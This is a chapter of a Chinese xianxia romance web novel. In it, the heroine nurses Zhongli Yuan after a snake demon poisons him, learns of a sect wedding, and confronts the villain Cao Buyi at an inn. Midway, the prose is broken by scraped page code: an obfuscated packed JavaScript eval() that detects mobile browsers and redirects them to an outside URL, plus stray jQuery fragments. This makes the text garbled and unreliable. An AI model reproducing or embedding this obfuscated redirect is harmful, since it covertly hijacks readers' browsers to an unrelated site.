60. 蛇毒

作品:《修仙大佬人均恋爱脑?

    辞盈站在一旁,望着女郎艳丽动人的脸,总觉得哪里不对。再一扭头,发现钟离渊已经神情恍惚地走到女郎面前,眼眶湿润,颤抖着伸手去扶她。


    她甚至没看清发生了什么,女郎忽然遁走至数丈之外,脸上挂着暗箭伤人的得意。


    而钟离渊还不可置信地呆在原地。


    “我的儿子竟然这样蠢!”说完,她转头恶毒地瞥向辞盈,“三心两意,你也不是什么好东西!”


    果然!难怪辞盈觉得不对劲,这蛇妖嘴上好似温情脉脉,眼神却不见一丝怜爱,面对三百年没见的儿子,她竟然流露出逗狗的神情。


    这次辞盈看得真切,蛇妖袖口甩出一叠牛毛细针,如骤雨般直射向她。几乎同时,钟离渊扑了过来,拉着她腾空避开,爱的魔力转圈圈——转得她头晕眼花才落地。


    “受伤了吗?”他问。


    辞盈摇头,正要去追,蛇妖已不见踪影。她心急如焚:“植楮草还在她手里!”


    “别追了。”钟离渊道。


    “不行,那东西对我至关重要。”辞盈顿了顿,“你若为难就留在这,不用陪我。”


    钟离渊眼眶的红痕未褪,憔悴又无奈,却依旧缓声道:“我陪你。”


    辞盈心里一软。他自幼失父母,被世人唾弃,又被囚三百年。童年断断续续记忆里的那点母爱,对于他而言,可能是这世间绝无仅有体会过的温情。


    或者说,那是照亮钟离渊人生唯一的光。


    世界上竟有这么冷血无情的母亲,久别重逢,玩弄自己儿子的感情毫不手软。


    辞盈伸手安慰地贴在他脸侧,柔声道:“不是你的错。她大概被关太久疯掉了,你不要往心里去……”


    话说一半,钟离渊忽然向前一歪,将她扑倒,重重地压在她身上。


    什么鬼?!荒山野岭的又来这套!这家伙发情怎么不分时间场合地点?!


    辞盈刚想一巴掌扇飞他,手掌触到他胸膛滚烫得不正常,向上移,额头这温度起码得有40了吧?


    所以这根本不是发情,是烧晕过去了?!


    她连忙将他扶坐起来,面对面,掌心贴在他额头上,灵流如注地渡过去。


    待热度一点一点消褪下来,才沿着他暴露的皮肤仔细检查了一遍,并没发现什么伤口,又撩起他的衣袖,终于在臂弯处找到一个十分不起眼的红点。


    定是刚才去扶蛇妖时被蛇毒所伤。


    真是一波未平一波又起,这么快找解药任务就×2了?这蛇毒的解药又要去哪里找啊喂!


    想起钟离渊刚才湿着眼眶小蝌蚪找妈妈一样的神情,辞盈心里又酸又涩,恶狠狠咽下一句脏话。


    它喵的死蛇妖,我要是再让你靠近他一次,我就天天吃卓老头做的豆角吃到辟谷!


    扛着这么长一条人,御剑难度极高,好几次差点一头栽进山涧翻滚冒泡的岩浆里。好不容易冲回地平面,她将钟离渊背起来,吭哧吭哧往附近的医馆走。


    短短几日,这是第几次扛他了?辞盈已经轻车熟路,脸不红气不喘,就是有点儿费鞋——不管她怎么往上拽,钟离渊的靴子都拖在地上,走一路鞋尖都快磨没了。


    她一边走一边跟他讲话,也不管他能不能听见:


    “刚才那女的肯定是个冒牌货。世界这么大,蛇妖不多得是么,我看她就是来碰瓷的。”


    “钟离渊,你可是堂堂大魔头的儿子,要被个小蛇妖给毒死也太没面子了,所以你一定要坚持住,医馆就快到了。”


    “钟离渊,你不知道,我在暮苍山被江鹤川杀死之前,有多想叫你的名字,可是我拼了命,咬牙控制住了。你知道为什么吗?”


    “我说是想还你自由,其实不完全对。我是在跟你怄气,谁叫你说讨厌我,说我比穿琵琶骨的铁链更恶毒呢。”


    “我当时就想着,大不了死在这里,也不再向你摇尾乞怜了,本姑娘也是要面子的。”


    “但我没想到相思咒竟然还在,还要害你冒死再救我一次又一次。钟离渊,你可真是个倒霉蛋。”


    医馆的大夫是个白胡子老头,目瞪口呆地说这位小公子的身体素质简直世间罕见。


    普通人中了这种霸道的蛇毒,不出半个时辰就去见阎王了。而他周身经脉竟然还能如常人一般运转,只是凝滞些,倒不致命,慢慢调理即可。


    辞盈松了口气,心想呵呵,他不用见阎王,大概因为他自己就是个活阎王吧。


    于是大夫诊脉开方煎药一气呵成,嘱咐回家好好修养便是。


    连搬带扛地总算将他弄到榻上,辞盈顾不得腰酸背痛,先喂了药,才寻了个木凳,寸步不离地在旁边守着。


    钟离渊睡得很不安稳。大概是药的作用,面色呈现不自然地潮红,眼皮底下乱滚,像是做了不少梦,嘴里还不时喃喃细语不知在说什么。


    辞盈看着昏昏沉沉的钟离渊,心里很不是滋味。


    她自诩恩怨分明,最讨厌亏欠别人。小时候宁愿饿一顿也不会开口跟人借钱买午饭。而对钟离渊,她却自觉亏欠太多,怎么也还不清了。


    “对不起。”她自顾自道:“等你和师尊都好了,我们就去寻一个相思咒的解法。天地之大,能人大师那么多,我就不信还解不了这个破咒。”


    本以为钟离渊睡一觉就差不多能满血复活,然而,这蛇毒却比辞盈想象中厉害得多。


    她闲来无事,将客栈桌上的话本都翻烂了,附近的餐食也尝了个遍,钟离渊也只是嘴唇的乌紫浅了几分,没有半点要苏醒的迹象。


    而在钟离渊日复一日昏睡的这些天里,她打探到一个意外的消息。准确来说,根本不需要打听,这个消息刚有点风吹草动就不胫而走,眼下已经传遍大江南北。


    辞盈是在楼下吃早饭的时候,偶然听见邻桌两个南疆人念叨水云剑宗,便挑起一筷子热面,一边吹气,一边竖起了耳朵。


    “师父还没成亲,徒弟倒抢在前头了,水云剑宗从上到下都在走桃花运呐,我也应该去试试。”


    “人家可是清衍真人的公子,想娶谁不容易?听闻又生得一表人才,啧啧,不知道是哪家的姑娘这样有福气。”


    “咳!咳咳……”辞盈差点儿让面条汤给呛死。


    敢情江羡之回去商量出来的法子,就是抢在师尊前头先成亲?这算什么意思,冲喜吗?


    那两个南疆人接着道:“听闻婚期就在今日,墨宗主是不是已经带着萧教主的千金回去观礼了?”


    “谁带谁,你别搞反了。墨宗主是上门赘婿,这得算回娘家,哈哈哈哈……”


    接着又是一番恶意满满的调侃。


    一碗面的功夫,辞盈终于悟出了其中的玄机。


    既然进不去玄武教的大门见不到墨让尘,那么不如干脆设法把人请回水云剑宗。江羡之要大婚,做师尊的没理由不出席观礼,到时候直接把人扣下,管它什么蛊毒妖术再徐徐图之。


    就算萧阳在,剑宗那么多人拼了命也不是白给的,何况还有一个邪功已经登峰造极的江鹤川。


    此计甚妙,唯一的遗憾是,江羡之大婚她竟然不能去凑热闹喝喜酒。


    她悻悻然返回客栈,推开房门,倒吸了一口凉气。


    地上赫然一滩暗红的毒血,枕头洇湿了半面。


    钟离渊终于醒了,却脸色惨白地伏在床边,抬眼看见她,刚要说话,又呕出一大口鲜血。他剧烈地喘了几下,还在往外淌血的嘴角抿了抿,挤出一个勉强算能是笑的弧度,手指朝她轻轻勾了勾。


    辞盈脑袋懵懵地过去,蹲在床边:“怎么会这样……你……你别再吐血了,人有多少血能让你这么吐啊!”


    这话实在没道理,难道是他自己想吐的吗?


    可辞盈已经心慌意乱顾不得许多,手足无措地抓起帕子给他擦嘴,念叨着:“这大夫不行,庸医……走,咱们去找任平生,现在就走。”


    “死不了。”钟离渊抬手摸摸她的脑袋,安慰道:“我再躺两天就好了。”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215713|195737||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    “那你这是……算排毒吗?”辞盈胡乱摸了摸他的脉,倒还算正常。


    “嗯,大概是吧。”钟离渊眉头一皱,气息不稳地问,“外面……有什么人?”


    辞盈本来还未察觉,听他提醒才留神静听,果然脚步繁杂凌乱,还夹杂着吵嚷哭闹,像是许多人来闹事。


    推开窗向下往,果真见一众弟子簇拥着浮夸的八角鎏金轿撵,敲锣打鼓浩浩荡荡而来。


    曹不义的口味倒是持久不变,轿撵前后随行的弟子一个赛一个的威武雄壮,感觉个个都能大战一整宿。他油头粉面,耀武扬威地仰靠在轿撵里,后头还跟着一溜马车。手下的人走一路,抢一路,若有抵抗的,一刀一个。闹得人仰马翻,赚得盆满钵满。


    这货怎么跑到这发疯来了?南疆向来是玄武教的地盘,九曜派轻易不敢造次,更别提这样大张旗鼓地肆意妄为。


    □□行为一路畅通无阻,眼看几个人冲进客栈,开始地毯式搜抢。


    “你别动。”辞盈把刚要起身的钟离渊按回床里,顺手抄起小破剑,将刚冲进来的劫匪一脚踹倒,剑指对方眉心:“滚出去。”


    “我的晚晚好生威武。”


    辞盈回头,见钟离渊歪歪地倚在床边对她笑,半边红衣滑落到肩头,露出雪白的锁骨和隐约半片胸肌,唇上还沾着血,俨然一副病娇美人图。


    这人不是才醒半刻生命垂危的残血状态吗,怎么就笑得茶里茶气的?


    辞盈瞪他一眼,回手一剑砍飞三个刚冲上来的高级打手,然后就像个女杀神似的守在门边。


    “你走吧。”钟离渊忽然道。


    “嗯?你说什么?”


    “你走吧,去找你师尊也可,要约谁也罢,都随你。”


    辞盈试图从他脸上找出玩笑的痕迹,无果。想不通他又抽什么风,是因为她去偷植楮草的事儿吗?醋精的心思也太难猜了吧。


    九节钢爪破窗而入,辞盈面不改色挥剑,剑气钢爪铮然碰撞嗡鸣跌落。她随手挽了个剑花,道:“你现在这副样子,当然一切都随我。我要走你追得上吗?”


    “我现在这样,依旧可以杀人。”钟离渊斜倚着床头,神态轻松怡然自得,阳光洒满银发,像镀了一层碎金。


    对对,你是天下第一,活阎王哪怕只剩半格残血也依旧是活阎王。真是活久见了,有生之年还能听见钟离渊让她走。他不一贯是神挡杀神佛挡杀佛,强制爱的终极执行者吗?


    “赶紧走,”钟离渊又换了个舒适的姿势,懒洋洋道,“我不想再看见你了。”


    辞盈持剑大步走到床前,嗖嗖几下,红衣片片碎落:“别跟我玩这么老套的剧情,再找借口撵我走,我就把你裤子也砍成抹布,让你光着身子被人追得满街跑。”


    钟离渊将被子往上裹了裹,一脸无辜:“冷。”


    呼啸的冷风阴森森地灌进一屋子杀气,吊梢眼在槛窗外眯缝着,阴阳怪气道:“我当是谁躲在这里暗箭伤人,原来是你们这两个小东西。”


    你管这叫暗箭伤人?我明明是正当防卫啊亲。


    曹不义一眼便看出钟离渊是个残血,“嚯”地从窗外跳进来,堂而皇之道:“你们捣毁我的地牢,这个仇我可一直记着呢。上次在暮苍山被你逃了,今日我可不会手下留情。”


    辞盈往前上了半步。


    之所以是半步,因为实在肝儿颤不敢靠前,脑子和腿各说各的,谁也管不了谁。当然,脸上还是一副风轻云淡:“地牢拆干净也没把你翻出来,躲得真够深的。我看你别叫曹不义了,干脆叫曹不行吧。”


    曹不义脸上青一阵白一阵,牙都快咬碎了:“你再说一遍。”


    辞盈抻脖子扫了一眼楼下那四个威武雄壮的随行,道:“噢,骂人不揭短,不好意思,我忘了你真不行。”


    “找死!”


    铁骨折扇凌厉刺出,辞盈的破剑哪里扛得住这劲力,一触即断。折扇根根铁骨如削,直取她喉咙处,却又在最后一寸,生生刹住。